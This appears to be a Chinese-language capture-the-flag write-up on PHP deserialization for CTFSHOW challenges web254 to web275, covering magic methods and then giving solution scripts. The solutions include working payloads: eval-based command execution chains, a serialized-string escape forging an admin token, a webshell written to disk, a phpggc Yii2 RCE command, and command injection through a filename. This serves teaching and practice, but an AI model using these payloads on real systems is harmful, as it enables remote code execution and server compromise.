常见魔术方法
__construct(),类的构造函数,创建类对象时被调用
__destruct(),类的析构函数,销毁类对象时被调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__callStatic(),用静态方式中调用一个不可访问方法时调用
__call(),在对象中调用一个不可访问方法时调用
示例:
<?php
highlight_file(__FILE__);
echo "<br>";
class magic_test
{
public $data1="yichen";
public $data2="writeup";
public function print_dat()
{
echo $this->data1 . " " .$this->data2 . "<br>";
}
public function __construct()
{//构造函数
echo "__construct<br>";
}
public function __destruct()
{//析构函数
echo "__destruct<br>";
}
public function __wakeup()
{//执行unserialize时调用
echo "__wakeup<br>";
}
public function __sleep()
{//执行serialize时调用
echo "__sleep<br>";
return array("data1","data2");
//__sleep()该函数必须返回一个需要进行序列化保存的成员属性数组
//并且只序列化该函数返回的这些成员属性
}
public function __toString()
{//类被当成字符串时的回应方法
//echo "__toString<br>";
return "__toString<br>";
}
function __call($name, $arg)
{//在对象中调用一个不可访问方法时调用
//不存在的方法名是$name,参数是数组形式
echo "$name<br>";
var_dump($arg);
echo "<br>";
}
function __invoke()
{//调用函数的方式调用一个对象时的回应方法
echo "__invoke<br>";
}
function __get($key)
{//获得一个类中不可访问的成员变量时(未定义或私有属性)
echo "__get<br>";
}
function __set($arg1,$arg2)
{//给一个类中不可访问的成员变量赋值时
echo "__set<br>";
echo "$arg1:$arg2 <br>";
}
}
//创建对象,调用__construct
echo "准备创建对象<br>";
$obj = new magic_test();
echo "创建对象完成<br>";
//序列化对象,调用__sleep
echo "准备序列化对象<br>";
$serialized = serialize($obj);
echo "序列化对象完成<br>";
//类被当成字符串输出,调用__toString
echo "准备输出类<br>";
echo $obj;
echo "输出类完毕<br>";
//类被当成方法调用输出,调用__invoke
echo "准备把对象当作方法调用<br>";
$obj();
echo "把对象当作方法调用完毕<br>";
//输出序列化之后的字符串
echo "打印序列化之后的对象 ";
echo "serialized: ".$serialized."<br>";
echo "打印完成<br>";
//调用一个不存在的方法,调用__call
echo "准备调用不存在的方法hack<br>";
$obj->hack('arg1','arg2',3);
echo "调用不存在的方法hack完毕<br>";
//获得一个类不存在的成员变量时,调用__get
echo "准备访问对象不存在的字段<br>";
$function = $obj->nono;
echo "访问对象不存在的字段完毕<br>";
//获得一个类不存在的成员变量时,调用__set
echo "准备设置对象不存在的字段<br>";
$obj->onon = 123;
echo "设置对象不存在的字段完毕<br>";
//重建对象(反序列化),调用__wakeup
echo "准备反序列化对象<br>";
$obj2=unserialize($serialized);
echo "反序列化完成<br>";
//调用方法
echo "准备调用方法<br>";
$obj2->print_dat();
echo "调用结束<br>";
//反序列化后会额外在调用__destruct
//脚本结束 调用__destruct
?>
CTFSHOW web254
-
题目
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
-
WP
严格来说这个都不算PHP反序列化,根据这个代码逻辑,发现其只校验了username和password,?username=xxxxxx&password=xxxxxx
-
CTFSHOW web255
-
题目
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ #此处login方法没有返回值,所以没能改变$isVip的值,因此手动改变这个值就是答案 if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
-
WP
1.将全部的类复制过来 class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } 2.将修改数据或者有需要的地方保留 <?php class ctfShowUser{ public $isVip=true; } 3.创建类对象并且序列化 $u =new ctfShowUser(); echo urlencode(serialize($u)); 4。完整WP代码 <?php class ctfShowUser{ public $isVip=true; } $u =new ctfShowUser(); echo urlencode(serialize($u)); ?>
-
CTFSHOW web256
-
题目
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ #此处增加判断username与password是否相等,让他们不等就行了 echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
-
WP
1.将全部的类复制 class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } } 2.将需要判断的地方修改,删除不要的地方 class ctfShowUser{ public $username='x1'; public $password='x2'; public $isVip=true; } 3.创建对象序列化 <?php class ctfShowUser{ public $username='x1'; public $password='x2'; public $isVip=true; } $u =new ctfShowUser(); echo urlencode(serialize($u)); ?>
CTFSHOW web257
- 题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info'; #3.此处需要把class修改为backDoor
public function __construct(){# 创建类对象时执行
$this->class=new info(); #2.此处创建类的对象,所以需要将这里new的对象换成backDoor
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){ #1.对象被销毁时调用,此处一定会被调用,所需需要将代码的运行流程修改去执行backDoor这个类
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code; #4.code的内容被带入执行,所以需要赋值,让其执行命令
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
-
WP
1.复制 class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } 2.修改数据,删除不需要的地方 class ctfShowUser{ public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code="system('ls');"; } 3.创建类对象,序列化 <?php class ctfShowUser{ public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code="system('ls');"; } $u =new ctfShowUser(); echo urlencode(serialize($u)); ?>
CTFSHOW web258
-
题目
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 21:38:56 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ #这里只多了一层过滤,过滤类似o:数字: 或者c:数字: 只需要用:+就可以绕过 $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
CTFWSHOW web260
-
题目
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ #preg_match匹配序列化后的字符串中是否有/ctfshow_i_love_36D/ ,所以直接赋值就好,?ctfshow=/ctfshow_i_love_36D/ echo $flag; }
CTFSHOW web261
- 题目
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){ #创建对象时调用,此处可以创建类对象复制
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){ #0x36d为877,因为php是弱类型,所以877=877.php
file_put_contents($this->username, $this->password); #file_put_contents 可以写入文件,所以此处写一个webshell
}
}
}
-
WP
1.复制 2.修改删除数据 class ctfshowvip{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } } 3.创建类对象,序列化代码
CTFSHOW web262
-
题目
# 这道题的考点是字符串逃逸 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__); #以下为 message.php <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag;
-
WP
思路: 1.可控变量只有f,m,t O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";} 2.可以发现最后一部分token的值是我们无法控制修改的 3.解决方案:让反序列化时不识别它,不就好了,也就是让其他字符串把他的位置占用,这样它就不会被解析到 4.题目中有能破坏序列化字符串结构的代码 $umsg = str_replace('fuck', 'loveU', serialize($msg)); 5.如果你想问怎么破坏的? O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";} O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";} 可以发现fuck被替换成了loveU但是前面的字符长度还是4,这就导致了额序列化字符串的结构被破坏,不能被正常反序列化解析 6.观察以下字符串 提交:?f=1&m=1&t=fuckfuck";s:5:"token";s:5:"admin";} 未被替换的序列化字符串: O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:35:"fuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} to的值为:fuckfuck";s:5:"token";s:5:"admin";} 替换后的序列化字符串: {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:35:"loveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} to的值为:loveUloveU";s:5:"token";s:5:"admin" 是不是发现少了;},这两个字符串就相当于逃逸出来了,所以我们想让s:5:"token";s:5:"admin";}逃逸出来,就需要让to的值刚好解析到这个前面是不是?规律是:一个fuck被替换后会多一个字符,所以能逃逸一个字符出来,所以只需要数一数s:5:"token";s:5:"admin";}的长度,添加相应长度的fuck,这个字符串就可以被逃逸出来 所以答案是: 27个fuck可以将s:5:"token";s:5:"admin";}完全逃逸出来 ?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
CTFSHOW web263
-
题目
代码在www.zip里面 在inc.php存在漏洞 class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
-
WP
<?php class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } } $a = new User('3.php', '<?php eval($_GET["cmd"]) ?>'); $a->setStatus('成功'); echo base64_encode('|'.serialize($a)); ?>
CTFSHOW web265
-
题目
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); #mt_rand() 函数是一个用于生成随机整数的函数,所以要让他们相等就得把他的地址传给另外一个参数 if($ctfshow->login()){ echo $flag; }
-
WP
<?php class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $a = new ctfshowAdmin(1,2); $a->password = &$a->token; #将$a.token的地址传给$a.password echo urlencode(serialize($a));
CTFSHOW web266
-
题目
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); #从 PHP 输入流中获取数据,并将其存储在变量 $cs 中。通常,这是从 POST 请求的主体中获取数据。 class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
-
WP
只是匹配序列化字符串里面是否有ctfshow,无其他校验,大小写即可绕过
CTFSHOW web267
-
WP
弱密码登录后台 存在yii2 反序列化漏洞 使用工具(kali好像自带):https://github.com/ambionics/phpggc.git phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64
CTFSHOW web275
-
题目
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); class filter{ public $filename; public $filecontent; public $evilfile=false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ #2.正则匹配,所以需要包含这些 if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ # 4.此处一定会被调用!filename会被带入执行所以,而fn=$f=filename,所以传入fn if($this->evilfile){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); #1.传入参数 if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
-
WP
?fn;命令